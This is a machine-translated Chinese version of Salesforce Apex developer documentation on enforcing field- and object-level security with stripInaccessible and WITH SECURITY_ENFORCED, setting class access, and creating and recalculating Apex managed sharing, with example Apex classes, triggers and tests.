
注意

该方法不支持 AggregateResult SObject。如果源记录为 AggregateResult SObject 类型,则 引发异常。stripInaccessible

对 User 对象强制执行对象和字段权限并隐藏 具有 Experience Cloud 站点的组织中其他用户的用户个人信息,请参阅强制执行对象和字段权限。

以下是可以使用该方法的一些示例。stripInaccessible

此示例代码从查询结果中删除无法访问的字段。展示台 对于广告系列数据,必须始终显示 . 必须仅向具有 读取该字段的权限。

BudgetedCostActualCost

SObjectAccessDecision securityDecision = 
         Security.stripInaccessible(AccessType.READABLE,
                 [SELECT Name, BudgetedCost, ActualCost FROM Campaign]                 );

    // Construct the output table
    if (securityDecision.getRemovedFields().get('Campaign').contains('ActualCost')) {
        for (Campaign c : securityDecision.getRecords()) {
        //System.debug Output: Name, BudgetedCost
        }
    } else {
        for (Campaign c : securityDecision.getRecords()) {
        //System.debug Output: Name, BudgetedCost, ActualCost
        }
}

此示例代码从子查询结果中删除不可访问的字段。用户 无权读取 接触 对象。

Phone

List<Account> accountsWithContacts =
	[SELECT Id, Name, Phone,
	    (SELECT Id, LastName, Phone FROM Account.Contacts)
	FROM Account];
  
   // Strip fields that are not readable
   SObjectAccessDecision decision = Security.stripInaccessible(
	                                   AccessType.READABLE,
	                                   accountsWithContacts);
 
// Print stripped records
   for (Integer i = 0; i < accountsWithContacts.size(); i++) 
  {
      System.debug('Insecure record access: '+accountsWithContacts[i]);
      System.debug('Secure record access: '+decision.getRecords()[i]);
   }
 
// Print modified indexes
   System.debug('Records modified by stripInaccessible: '+decision.getModifiedIndexes());
 
// Print removed fields
   System.debug('Fields removed by stripInaccessible: '+decision.getRemovedFields());

此示例代码在 DML 操作之前从 sObject 中删除不可访问的字段。这 无权为帐户创建评级的用户仍然可以创建帐户。 该方法确保未设置 Rating,并且不会引发异常。

List<Account> newAccounts = new List<Account>();
Account a = new Account(Name='Acme Corporation');
Account b = new Account(Name='Blaze Comics', Rating=’Warm’);
newAccounts.add(a);
newAccounts.add(b);

SObjectAccessDecision securityDecision = Security.stripInaccessible(
                                         AccessType.CREATABLE, newAccounts);

// No exceptions are thrown and no rating is set
insert securityDecision.getRecords();

System.debug(securityDecision.getRemovedFields().get('Account')); // Prints "Rating"
System.debug(securityDecision.getModifiedIndexes()); // Prints "1"

此示例代码清理已从不受信任的 sObject 反序列化的 sObject 源。用户无权更新 帐户。

AnnualRevenue

String jsonInput =
'[' +
'{' +
'"Name": "InGen",' +
'"AnnualRevenue": "100"' +
'},' +
'{' +
'"Name": "Octan"' +
'}' +
']';

List<Account> accounts = (List<Account>)JSON.deserializeStrict(jsonInput, List<Account>.class);
SObjectAccessDecision securityDecision = Security.stripInaccessible(
                                         AccessType.UPDATABLE, accounts);

// Secure update
update securityDecision.getRecords(); // Doesn’t update AnnualRevenue field
System.debug(String.join(securityDecision.getRemovedFields().get('Account'), ', ')); // Prints "AnnualRevenue"
System.debug(String.join(securityDecision.getModifiedIndexes(), ', ')); // Prints "0”

此示例代码从查询结果中删除不可访问的关系字段。这 用户无权插入字段,该字段是从 MyCustomObject__c 到 帐户。

Account__c

// Account__c is a lookup from MyCustomObject__c to Account
@IsTest
   public class TestCustomObjectLookupStripped {
      @IsTest static void caseCustomObjectStripped() {
         Account a = new Account(Name='foo');
         insert a;
         List<MyCustomObject__c> records = new List<MyCustomObject__c>{
            new MyCustomObject__c(Name='Custom0', Account__c=a.id)
         };
         insert records;
         records = [SELECT Id, Account__c FROM MyCustomObject__c];
         SObjectAccessDecision securityDecision = Security.stripInaccessible
                                                  (AccessType.READABLE, records);
         
         // Verify stripped records
         System.assertEquals(1, securityDecision.getRecords().size());
         for (SObject strippedRecord : securityDecision.getRecords()) {
             System.debug('Id should be set as Id fields are ignored: ' + 
                           strippedRecord.isSet('Id')); // prints true
             System.debug('Lookup field FLS is not READABLE to running user, 
                           should not be set: ' +
                           strippedRecord.isSet('Account__c')); // prints false
         }
      }
   }

使用 WITH SECURITY_ENFORCED筛选 SOQL 查询

使用子句启用 对 Apex 代码中的查询(包括子查询和跨对象)进行字段级和对象级安全权限检查 关系。

WITH SECURITY_ENFORCEDSOQL SELECT

Apex 通常在系统上下文中运行;即当前用户的权限和 在代码执行过程中不考虑字段级安全性。共享规则, 但是,并不总是被绕过:必须使用关键字声明类,以确保共享 不强制执行规则。尽管执行字段和对象级安全检查是 在早期版本中,此子句可能大大减少了冗长和技术性 查询操作的复杂性。此功能专为 Apex 开发人员量身定制,他们拥有最少的 具有安全性和优雅降级的应用程序的开发经验 权限错误不是必需的。without sharing

注意

该条款仅 在 Apex 中可用。我们不建议在 Apex 类或触发器中使用早于 API 的版本 45.0.WITH SECURITY_ENFORCEDWITH SECURITY_ENFORCED

WITH SECURITY_ENFORCED应用字段和 对象级安全检查仅对 SOQL 子句中引用的字段和对象进行检查 而不是像 或 这样的子句。换言之,安全性是针对查询返回的内容强制实施的,而不是针对进入的所有元素 运行查询。SELECTFROMWHEREORDER BYSOQL SELECT插入子句:

WITH SECURITY_ENFORCED

  • 如果存在,则在子句之后,否则在子句之后。WHEREFROM
  • 在任何 、 、 或聚合函数之前 第。ORDER BYLIMITOFFSET

有关查询的详细信息,请参阅 SOQL 和 SOSL 中的 SOQL SELECT 语法 参考。

SOQL SELECT例如,如果用户具有 LastName 的字段访问权限,则此查询将返回 Id 和 LastName 用于 Acme 帐户条目。

List<Account> act1 = [SELECT Id, (SELECT LastName FROM Contacts)
   FROM Account WHERE Name like 'Acme' WITH SECURITY_ENFORCED]

使用 查询多态查找字段时存在一些限制。多态场是关系 可以指向多个实体的字段。

WITH SECURITY_ENFORCED

  • 在使用 的查询中不支持遍历多态字段的关系。例如,您不能在此查询中使用 返回 User 和 Calendar 实体的 Id 和 Owner 名称:。WITH SECURITY_ENFORCEDWITH SECURITY_ENFORCEDSELECT Id, What.Name FROM Event WHERE What.Type IN (’User’,’Calendar’)
  • 在使用 的查询中不支持将表达式与子句一起使用。 在 SELECT 查询中用于指定要为 给定多态关系的类型。例如,不能在此查询中使用。查询 指定要为 Account 和 Opportunity 对象返回的某些字段,以及 Name 和 要为所有其他对象返回的电子邮件字段。TYPEOFELSEWITH SECURITY_ENFORCEDTYPEOFWITH SECURITY_ENFORCEDSELECT TYPE OF What WHEN Account THEN Phone WHEN Opportunity THEN Amount ELSE Name,Email END FROM Event
  • 、 和 多态查找字段不受此限制,并且允许多态 关系遍历。OwnerCreatedByLastModifiedBy
  • 对于 AppExchange Security Review,在使用 时必须使用 API 版本 48.0 或更高版本。不能使用 API 该功能处于测试版或试点阶段的版本。WITH SECURITY_ENFORCED

如果查询中引用的任何字段或对象无法访问 用户,a 被抛出,没有 返回数据。SOQL SELECTWITH SECURITY_ENFORCEDSystem.QueryException

对 User 对象强制实施对象和字段权限并隐藏用户的个人 来自具有 Experience Cloud 站点的组织中其他用户的信息,请参阅强制执行对象和字段权限。

如果隐藏了 LastName 或 Description 的字段访问权限,则此查询将引发 指示权限不足的异常。

List<Account> act1 = [SELECT Id, (SELECT LastName FROM Contacts), 
   (SELECT Description FROM Opportunities)
   FROM Account WITH SECURITY_ENFORCED]

如果“网站”的字段访问处于隐藏状态,则此查询将引发异常,指示 权限不足。

List<Account> act2 = [SELECT Id, parent.Name, parent.Website 
   FROM Account WITH SECURITY_ENFORCED]

如果隐藏了 Type 的字段访问,则此聚合函数查询将引发异常 表示权限不足。

List<AggregateResult> agr1 = [SELECT GROUPING(Type) 
   FROM Opportunity WITH SECURITY_ENFORCED 
   GROUP BY Type]

类安全性

您可以指定哪些用户可以根据其 用户配置文件或权限集。您只能在 Apex 类上设置安全性,而不能在触发器上设置安全性。

要从类列表页面设置 Apex 类安全性,请参阅从类列表设置 Apex 类访问权限 页

要从类详细信息页面设置 Apex 类安全性,请参阅从类列表中设置 Apex 类访问权限 页

要从权限集设置 Apex 类安全性,请执行以下操作:

  1. 在“设置”中,输入“快速” “查找”框,然后选择“权限集”。Permission Sets
  2. 选择权限集。
  3. 单击 Apex 类访问
  4. 单击编辑
  5. 从“可用的 Apex 类”列表中选择要启用的 Apex 类,然后 单击“添加”,或从 “已启用 Apex 类”列表,然后单击“删除”。
  6. 点击保存

要从配置文件设置 Apex 类安全性,请执行以下操作:

  1. 在“设置”中,在“快速查找”框中输入, ,然后选择配置文件Profiles
  2. 选择配置文件。
  3. 在“Apex 类访问”页面或相关列表中,单击“编辑”。
  4. 从“可用的 Apex 类”列表中选择要启用的 Apex 类,然后 单击“添加”,或从 “已启用 Apex 类”列表,然后单击“删除”。
  5. 点击保存

了解 Apex 托管共享

共享是授予用户或用户组权限的行为 对一条记录或一组记录执行一组操作。可以使用以下命令授予共享访问权限 Salesforce 用户界面和 Lightning Platform,或以编程方式使用 顶点。

有关共享的详细信息,请参阅设置内部组织范围的共享 Salesforce 联机帮助中的默认值。

  • 了解共享 共享
    支持对所有自定义对象以及许多标准对象(如客户、联系人、商机和案例)进行记录级访问控制。管理员首先设置对象的组织范围默认共享访问级别,然后根据记录所有权、角色层次结构、共享规则和手动共享授予其他访问权限。然后,开发人员可以使用 Apex 托管共享以编程方式授予 Apex 的额外访问权限。
  • 使用 Apex 共享记录
  • 重新计算 Apex 托管共享

了解共享

共享支持对所有自定义对象进行记录级访问控制,因为 以及许多标准对象(例如 Account、Contact、Opportunity 和 Case)。 管理员首先设置对象的组织范围默认共享访问级别, 然后根据记录所有权、角色层次结构、共享授予其他访问权限 规则和手动共享。然后,开发人员可以使用 Apex 托管共享来授予其他 使用 Apex 以编程方式访问。

记录的大多数共享都维护在相关的共享对象中,类似于访问 在其他平台中找到的控制列表 (ACL)。

共享类型

Salesforce 具有以下类型的共享:托管共享托管共享涉及 Lightning 平台授予的共享访问权限 基于记录所有权、角色层次结构和共享规则:记录所有权每条记录都由一个用户拥有,或者由一个队列(可选)拥有 自定义对象、案例和潜在客户。记录 所有者被自动授予完全访问权限, 允许他们查看、编辑、传输、共享和删除 记录。角色层次结构角色层次结构允许上述用户 层次结构中的另一个用户具有相同级别的 访问以下用户拥有或与用户共享的记录。 因此,角色中高于记录所有者的用户 层次结构也被隐式授予对 记录,但可以禁用此行为 特定的自定义对象。角色层次结构不是 通过共享记录进行维护。相反,角色层次结构 访问是在运行时派生的。有关更多信息,请参阅 。 “使用层次结构控制访问”中的 Salesforce 联机帮助。共享规则管理员使用共享规则来 自动授予给定组或角色中的用户权限 访问特定用户组拥有的记录。无法将共享规则添加到 package,不能用于支持共享逻辑 对于从 AppExchange 安装的应用程序。

共享 规则可以基于记录所有权或其他 标准。您不能使用 Apex 创建 基于条件的共享规则。此外,基于标准 无法使用 Apex 测试共享。

Force.com 托管共享添加的所有隐式共享都不能是 使用 Salesforce 用户界面、SOAP API 直接更改,或者 顶点。用户管理共享,也称为手动共享用户管理的共享允许记录所有者或具有“完整”的任何用户 访问记录以与用户或用户组共享记录。 对于单个记录,这通常由最终用户完成。只有 授予记录所有者和角色层次结构中所有者之上的用户 对记录的完全访问权限。无法授予其他用户“完全”权限 访问。具有“全部修改”对象级别的用户 给定对象或“修改所有数据”的权限 权限也可以手动共享记录。用户管理的共享是 当记录所有者发生更改或在 共享不会授予对象以外的其他访问权限 组织范围的共享默认访问级别。Apex 托管共享Apex 托管共享使开发人员能够支持 以编程方式满足应用程序的特定共享要求 通过 Apex 或 SOAP API。这种类型的 共享类似于托管共享。仅限具有 “修改所有数据”权限可以添加或更改 Apex 记录上的托管共享。维护 Apex 托管共享 跨记录所有者更改。

注意

Apex 共享原因和 Apex 托管 共享重新计算仅适用于自定义对象。

分享原因 田

在 Salesforce 用户界面,自定义对象上的“原因”字段 指定用于记录的共享类型。此字段在 Apex 或 API 中调用。rowCause每个 以下列表项是一种用于记录的共享类型。这些表显示“原因”字段值和相关值。

rowCause

  • 托管共享Reason Field ValuerowCause Value (Used in Apex or the API)Account SharingImplicitChildAssociated record owner or sharingImplicitParentOwnerOwnerOpportunity TeamTeamSharing RuleRule区域分配规则TerritoryRule
  • 用户管理共享原因字段价值rowCause值(在 Apex 或 API 中使用)手动共享Manual领地手册TerritoryManual注意使用企业 API 版本 45.0 及更高版本中的 Territory Management 取代了 .Territory2AssociationManualTerritoryManual
  • Apex 托管共享原因字段价值rowCause值(在 Apex 或 API 中使用)由开发人员定义由开发人员定义

Apex 托管共享的显示原因由 开发 人员。

访问 水平

在确定用户对 记录,则使用最宽松的访问级别。大多数共享对象都支持 以下访问级别:

访问级别API 名称描述
私人没有只有记录所有者和记录所有者之上的用户 角色层次结构可以查看和编辑记录。仅限此访问级别 应用于 AccountShare 对象。
只读指定的用户或组只能查看记录。
读/写编辑指定的用户或组可以查看和编辑记录。
完全访问权限指定的用户或组可以查看、编辑、传输、共享和 删除记录。注意此访问级别只能授予 托管共享。

分享注意事项

Apex 触发器和用户记录共享如果触发器更改了记录的所有者,则正在运行的用户必须已读取 如果触发器是通过 以后:

  • 应用程序接口
  • 标准用户界面
  • 标准 Visualforce 控制器
  • 使用关键字定义的类with sharing

如果触发器是通过未使用关键字定义的类启动的,则触发器将在 系统模式。在这种情况下,触发器不需要正在运行的用户 具有特定访问权限。with sharing

使用 Apex 共享记录

重要

在可能的情况下,我们更改了非包容性条款,以符合我们的 平等的公司价值观。我们保留了某些条款,以避免对 客户实施。

若要以编程方式访问共享,必须使用与 要共享的标准对象或自定义对象。例如,AccountShare 是 Account 对象的共享对象,ContactShare 是 Contact 对象。此外,所有自定义对象共享对象的命名方式如下: 其中 是自定义对象的名称:MyCustomObject

MyCustomObject__Share

主从关系的细节端的对象没有关联的 共享对象。明细记录的访问权限由主节点的 共享对象和关系的共享设置。有关更多信息,请参阅 。 Salesforce 联机帮助中的“自定义对象安全性”。

共享对象包括支持所有三种共享类型的记录:托管共享、 用户托管共享和 Apex 托管共享。隐式授予用户的共享 通过组织范围的默认值、角色层次结构和权限,例如 给定的“查看全部”和“全部修改”权限 对象,“查看所有数据”和“修改所有数据”不是 使用此对象进行跟踪。

每个共享对象都具有以下属性:

属性名称描述
objectNameAccessLevel已授予指定用户或组的访问级别 用于共享 sObject。属性的名称将追加到对象 名字。例如,LeadShare 对象的属性名称为 。有效值为:AccessLevelLeadShareAccessLevelEditReadAll注意访问级别 是内部值,不能授予。All此字段必须是 设置为高于组织的访问级别 父对象的默认访问级别。有关详细信息,请参阅了解共享。
ParentID对象的 ID。此字段无法更新。
RowCause向用户或组授予访问权限的原因。原因 确定共享类型,控制谁可以更改共享 记录。此字段无法更新。
UserOrGroupId要向其授予访问权限的用户或组 ID。组可以是:与角色关联的公共组或共享组。区域组。此字段无法更新。注意您无法授予对 使用 Apex 的未经身份验证的来宾用户。

您可以与用户或组共享标准或自定义对象。更多信息 有关可以与之共享对象的用户和组的类型,请参阅对象参考中的“用户和组” Salesforce的。

使用创建用户管理的共享 顶点

可以使用 Apex 或 SOAP 手动将记录共享给用户或组 应用程序接口。如果记录的所有者发生更改,则会自动删除共享。这 以下示例类包含一个共享作业指定的作业的方法 具有指定用户 ID 的 ID 或具有读取访问权限的组 ID。它还包括一个测试 验证此方法的方法。在保存此示例类之前,请创建一个 名为 Job 的自定义对象。

注意

默认情况下,使用 Apex 编写的手动共享包含。只 当所有权发生更改时,将删除具有此条件的共享。RowCause=”Manual”

public class JobSharing {
   
   public static boolean manualShareRead(Id recordId, Id userOrGroupId){
      // Create new sharing object for the custom object Job.
      Job__Share jobShr  = new Job__Share();
   
      // Set the ID of record being shared.
      jobShr.ParentId = recordId;
        
      // Set the ID of user or group being granted access.
      jobShr.UserOrGroupId = userOrGroupId;
        
      // Set the access level.
      jobShr.AccessLevel = 'Read';
        
      // Set rowCause to 'manual' for manual sharing.
      // This line can be omitted as 'manual' is the default value for sharing objects.
      jobShr.RowCause = Schema.Job__Share.RowCause.Manual;
        
      // Insert the sharing record and capture the save result. 
      // The false parameter allows for partial processing if multiple records passed 
      // into the operation.
      Database.SaveResult sr = Database.insert(jobShr,false);

      // Process the save results.
      if(sr.isSuccess()){
         // Indicates success
         return true;
      }
      else {
         // Get first save result error.
         Database.Error err = sr.getErrors()[0];
         
         // Check if the error is related to trival access level.
         // Access level must be more permissive than the object's default.
         // These sharing records are not required and thus an insert exception is acceptable. 
         if(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION  &&  
                  err.getMessage().contains('AccessLevel')){
            // Indicates success.
            return true;
         }
         else{
            // Indicates failure.
            return false;
         }
       }
   }
   
}
@isTest
private class JobSharingTest {
   // Test for the manualShareRead method
   static testMethod void testManualShareRead(){
      // Select users for the test.
      List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
      Id User1Id = users[0].Id;
      Id User2Id = users[1].Id;
   
      // Create new job.
      Job__c j = new Job__c();
      j.Name = 'Test Job';
      j.OwnerId = user1Id;
      insert j;    
                
      // Insert manual share for user who is not record owner.
      System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), true);
   
      // Query job sharing records.
      List<Job__Share> jShrs = [SELECT Id, UserOrGroupId, AccessLevel, 
         RowCause FROM job__share WHERE ParentId = :j.Id AND UserOrGroupId= :user2Id];
      
      // Test for only one manual share on job.
      System.assertEquals(jShrs.size(), 1, 'Set the object\'s sharing model to Private.');
      
      // Test attributes of manual share.
      System.assertEquals(jShrs[0].AccessLevel, 'Read');
      System.assertEquals(jShrs[0].RowCause, 'Manual');
      System.assertEquals(jShrs[0].UserOrGroupId, user2Id);
      
      // Test invalid job Id.
      delete j;   
   
      // Insert manual share for deleted job id. 
      System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), false);
   }  
}

重要

对象的组织范围默认值 访问级别不得设置为最宽松的访问级别。对于定制 对象,此级别为公共读/写。有关详细信息,请参阅了解共享。

创建 Apex 托管共享

Apex 托管共享使开发人员能够以编程方式操作共享,以 通过 Apex 或 SOAP API 支持其应用程序的行为。此类型 的共享类似于托管共享。仅具有“全部修改”的用户 “数据”权限可以在记录上添加或更改 Apex 托管共享。顶点 在记录所有者更改后保留托管共享。

Apex 托管共享必须使用 Apex 共享原因Apex 共享原因是开发人员的一种方式 跟踪他们与用户或用户组共享记录的原因。使用多个 Apex 共享原因简化了进行更新和 删除共享记录。它们还使开发人员能够与相同的 用户或组多次使用不同的原因。Apex 共享原因在对象的详细信息页面上定义。每个 Apex 共享原因 具有标签和名称:

  • 查看时,标签将显示在“原因”列中 用户界面中记录的共享。此标签允许用户和 管理员了解共享的来源。标签也是 启用通过 Translation Workbench 进行翻译。
  • 在 API 和 Apex 中引用原因时,将使用该名称。

所有 Apex 共享原因名称都采用以下格式:

MyReasonName__c

Apex 共享原因可以通过编程方式引用为 遵循:

Schema.CustomObject__Share.rowCause.SharingReason__c

例如,对于名为 Job 的对象,名为 Recruiter 的 Apex 共享原因可以是 引用为 遵循:

Schema.Job__Share.rowCause.Recruiter__c

有关更多信息,请参见 System.Schema 类。要创建 Apex 共享原因,请执行以下操作:

  1. 在自定义对象的管理设置中,单击“Apex 共享原因”中的“新建”相关 列表。
  2. 输入 Apex 共享原因的标签。查看记录的共享时,标签将显示在“原因”列中 在用户界面中。该标签还可通过 翻译工作台。
  3. 输入 Apex 共享原因的名称。引用时使用该名称 API 和 Apex 中的原因。此名称只能包含下划线和 字母数字字符,并且在您的组织中必须是唯一的。它必须以 字母,不包含空格,不以下划线结尾,也不包含 连续两个下划线。
  4. 点击保存

注意

Apex 共享原因和 Apex 托管共享重新计算仅适用于 自定义对象。

Apex 托管共享示例

在此示例中,假设您正在构建一个招聘应用程序,并且有一个 名为 Job 的对象。您想要验证招聘人员和招聘经理是否列出了 在工作中可以访问记录。以下触发器授予招聘人员和 创建作业记录时的招聘经理访问权限。此示例需要自定义 名为 Job 的对象,其中两个查找字段与名为 Hiring_Manager和招聘人员。此外,作业自定义对象应具有两个共享 添加了称为Hiring_Manager和招聘人员的原因。

trigger JobApexSharing on Job__c (after insert) {
    
    if(trigger.isInsert){
        // Create a new list of sharing objects for Job
        List<Job__Share> jobShrs  = new List<Job__Share>();
        
        // Declare variables for recruiting and hiring manager sharing
        Job__Share recruiterShr;
        Job__Share hmShr;
        
        for(Job__c job : trigger.new){
            // Instantiate the sharing objects
            recruiterShr = new Job__Share();
            hmShr = new Job__Share();
            
            // Set the ID of record being shared
            recruiterShr.ParentId = job.Id;
            hmShr.ParentId = job.Id;
            
            // Set the ID of user or group being granted access
            recruiterShr.UserOrGroupId = job.Recruiter__c;
            hmShr.UserOrGroupId = job.Hiring_Manager__c;
            
            // Set the access level
            recruiterShr.AccessLevel = 'edit';
            hmShr.AccessLevel = 'read';
            
            // Set the Apex sharing reason for hiring manager and recruiter
            recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
            hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
            
            // Add objects to list for insert
            jobShrs.add(recruiterShr);
            jobShrs.add(hmShr);
        }
        
        // Insert sharing records and capture save result 
        // The false parameter allows for partial processing if multiple records are passed 
        // into the operation 
        Database.SaveResult[] lsr = Database.insert(jobShrs,false);
        
        // Create counter
        Integer i=0;
        
        // Process the save results
        for(Database.SaveResult sr : lsr){
            if(!sr.isSuccess()){
                // Get the first save result error
                Database.Error err = sr.getErrors()[0];
                
                // Check if the error is related to a trivial access level
                // Access levels equal or more permissive than the object's default 
                // access level are not allowed. 
                // These sharing records are not required and thus an insert exception is 
                // acceptable. 
                if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION  
                                               &&  err.getMessage().contains('AccessLevel'))){
                    // Throw an error when the error is not related to trivial access level.
                    trigger.newMap.get(jobShrs[i].ParentId).
                      addError(
                       'Unable to grant sharing access due to following exception: '
                       + err.getMessage());
                }
            }
            i++;
        }   
    }
    
}

在某些情况下,插入共享行会导致 现有共享行。请看以下示例:

  • 手动共享访问级别设置为“读取”,并插入一个新级别,设置为 写。原始共享行将更新为“写入”,指示较高的 访问级别。
  • 用户可以访问帐户,因为他们可以访问其子记录 (联系人、案例、商机等)。如果帐户共享规则是 created,共享规则行原因(这是更高的访问级别) 替换父级隐式共享行原因,指示 访问。

重要

对象的组织范围的默认访问级别必须 未设置为最宽松的访问级别。对于自定义对象,此级别为 公共读/写。有关详细信息,请参阅了解共享。

为 Customer Community Plus 用户创建 Apex 托管共享

Customer Community Plus 用户以前称为 Customer Portal 用户。共享 这些用户无法使用对象,例如 和 。如果 您必须以Customer Community Plus用户身份使用共享对象,请考虑使用一个 trigger,默认情况下使用关键字进行操作。否则,请使用具有相同 关键字使 DML 操作能够成功运行。单独的实用程序类 也可用于启用此访问。AccountShareContactSharewithout sharing

支持通过写入共享对象的手动/顶点共享授予可见性 但对象本身对Customer Community Plus用户不可用。 但是,其他用户可以添加授予对Customer Community Plus访问权限的共享 用户。

警告

启用数字体验后,角色和 通过 Apex 托管共享的下属会自动提供给角色, 内部和门户下属。要保护外部用户的访问权限,请更新您的 Apex 代码,以便创建与 Role 和 Internal Subordinates 组的共享。因为 此转换是大规模操作,请考虑使用批处理 Apex。

重新计算 Apex 托管共享

Salesforce 会自动重新计算对象上所有记录的共享,当其 组织范围的共享默认访问级别更改。重新计算添加托管 在适当的时候分享。此外,如果访问 他们授予被认为是多余的。例如,手动共享,它授予只读 对用户的访问权限,当对象的共享模型从 Private 更改时,将删除对用户的访问权限 更改为公共只读。

若要重新计算 Apex 托管共享,必须编写一个实现 Salesforce 提供的用于重新计算的界面。然后,您必须关联该类 与自定义对象一起使用,在自定义对象的详细信息页面上,在 Apex 共享中 重新计算相关列表。

注意

Apex 共享原因和 Apex 托管共享重新计算仅适用于 自定义对象。

您可以从自定义对象详细信息页面执行此类,其中 Apex 共享 指定原因。管理员可能需要重新计算 Apex 托管共享 如果锁定问题阻止 Apex 代码向用户授予访问权限,则对象为 由应用程序的逻辑定义。还可以使用 Database.executeBatch 方法以编程方式调用 Apex 托管共享重新计算。

注意

每次自定义对象的组织范围共享默认访问级别为 更新时,为关联的自定义对象定义的任何 Apex 重新计算类也会 执行。

要监视或停止 Apex 重新计算的执行,请从“设置”中输入“快速查找”框,然后 选择 Apex JobsApex Jobs

创建用于重新计算的 Apex 类 共享

要重新计算 Apex 托管共享,您必须编写一个 Apex 类来执行 重新计算。此类必须实现 Salesforce 提供的接口。Database.Batchable

该接口用于 所有批处理 Apex 进程,包括重新计算 Apex 托管共享。您可以 在组织中多次实现此接口。更多信息 有关必须实现的方法,请参阅使用 Batch Apex。Database.Batchable

在创建 Apex 托管共享重新计算类之前,还要考虑最佳做法。

重要

对象的组织范围的默认访问级别必须 未设置为最宽松的访问级别。对于自定义对象,此级别为 公共读/写。有关详细信息,请参阅了解共享。

Apex 托管共享重新计算 例

在此示例中,假设您正在构建一个 招聘应用程序,并有一个名为 Job 的对象。您想要验证这一点 招聘中列出的招聘人员和招聘经理可以访问 记录。以下 Apex 类执行此验证。此示例需要一个名为 Job 的自定义对象,其中包含两个查找字段 与名为 Hiring_Manager 和 Recruiter 的用户记录相关联。此外,工作 自定义对象应添加两个共享原因,称为 Hiring_Manager 和 招聘。在运行此示例之前,请将电子邮件地址替换为 要向其发送错误通知和作业完成的有效电子邮件地址 通知。

global class JobSharingRecalc implements Database.Batchable<sObject> {
    
    // String to hold email address that emails will be sent to. 
    // Replace its value with a valid email address.
    static String emailAddress = 'admin@yourcompany.com';
    
    // The start method is called at the beginning of a sharing recalculation.
    // This method returns a SOQL query locator containing the records 
    // to be recalculated. 
    global Database.QueryLocator start(Database.BatchableContext BC){
        return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c 
                                         FROM Job__c]);  
    }
    
    // The executeBatch method is called for each chunk of records returned from start.  
    global void execute(Database.BatchableContext BC, List<sObject> scope){
       // Create a map for the chunk of records passed into method.
        Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope);  
        
        // Create a list of Job__Share objects to be inserted.
        List<Job__Share> newJobShrs = new List<Job__Share>();
               
        // Locate all existing sharing records for the Job records in the batch.
        // Only records using an Apex sharing reason for this app should be returned. 
        List<Job__Share> oldJobShrs = [SELECT Id FROM Job__Share WHERE ParentId IN 
             :jobMap.keySet() AND 
            (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
            RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)]; 
        
        // Construct new sharing records for the hiring manager and recruiter 
        // on each Job record.
        for(Job__c job : jobMap.values()){
            Job__Share jobHMShr = new Job__Share();
            Job__Share jobRecShr = new Job__Share();
            
            // Set the ID of user (hiring manager) on the Job record being granted access.
            jobHMShr.UserOrGroupId = job.Hiring_Manager__c;
            
            // The hiring manager on the job should always have 'Read Only' access.
            jobHMShr.AccessLevel = 'Read';
            
            // The ID of the record being shared
            jobHMShr.ParentId = job.Id;
            
            // Set the rowCause to the Apex sharing reason for hiring manager.
            // This establishes the sharing record as Apex managed sharing.
            jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
            
            // Add sharing record to list for insertion.
            newJobShrs.add(jobHMShr);
            
            // Set the ID of user (recruiter) on the Job record being granted access.
            jobRecShr.UserOrGroupId = job.Recruiter__c;
            
            // The recruiter on the job should always have 'Read/Write' access.
            jobRecShr.AccessLevel = 'Edit';
            
            // The ID of the record being shared
            jobRecShr.ParentId = job.Id;
            
            // Set the rowCause to the Apex sharing reason for recruiter.
            // This establishes the sharing record as Apex managed sharing.
            jobRecShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
            
         // Add the sharing record to the list for insertion.            
            newJobShrs.add(jobRecShr);
        }
        
        try {
           // Delete the existing sharing records.
           // This allows new sharing records to be written from scratch.
            Delete oldJobShrs;
            
           // Insert the new sharing records and capture the save result. 
           // The false parameter allows for partial processing if multiple records are 
           // passed into operation. 
           Database.SaveResult[] lsr = Database.insert(newJobShrs,false);
           
           // Process the save results for insert.
           for(Database.SaveResult sr : lsr){
               if(!sr.isSuccess()){
                   // Get the first save result error.
                   Database.Error err = sr.getErrors()[0];
                   
                   // Check if the error is related to trivial access level.
                   // Access levels equal or more permissive than the object's default 
                   // access level are not allowed. 
                   // These sharing records are not required and thus an insert exception 
                   // is acceptable. 
                   if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION  
                                     &&  err.getMessage().contains('AccessLevel'))){
                       // Error is not related to trivial access level.
                       // Send an email to the Apex job's submitter.
                     Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
                     String[] toAddresses = new String[] {emailAddress}; 
                     mail.setToAddresses(toAddresses); 
                     mail.setSubject('Apex Sharing Recalculation Exception');
                     mail.setPlainTextBody(
                       'The Apex sharing recalculation threw the following exception: ' + 
                             err.getMessage());
                     Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
                   }
               }
           }   
        } catch(DmlException e) {
           // Send an email to the Apex job's submitter on failure.
            Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
            String[] toAddresses = new String[] {emailAddress}; 
            mail.setToAddresses(toAddresses); 
            mail.setSubject('Apex Sharing Recalculation Exception');
            mail.setPlainTextBody(
              'The Apex sharing recalculation threw the following exception: ' + 
                        e.getMessage());
            Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
        }
    }
    
    // The finish method is called at the end of a sharing recalculation.
    global void finish(Database.BatchableContext BC){  
        // Send an email to the Apex job's submitter notifying of job completion.
        Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
        String[] toAddresses = new String[] {emailAddress}; 
        mail.setToAddresses(toAddresses); 
        mail.setSubject('Apex Sharing Recalculation Completed.');
        mail.setPlainTextBody
                      ('The Apex sharing recalculation finished processing');
        Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
    }
    
}

测试 Apex 托管共享 重新计算

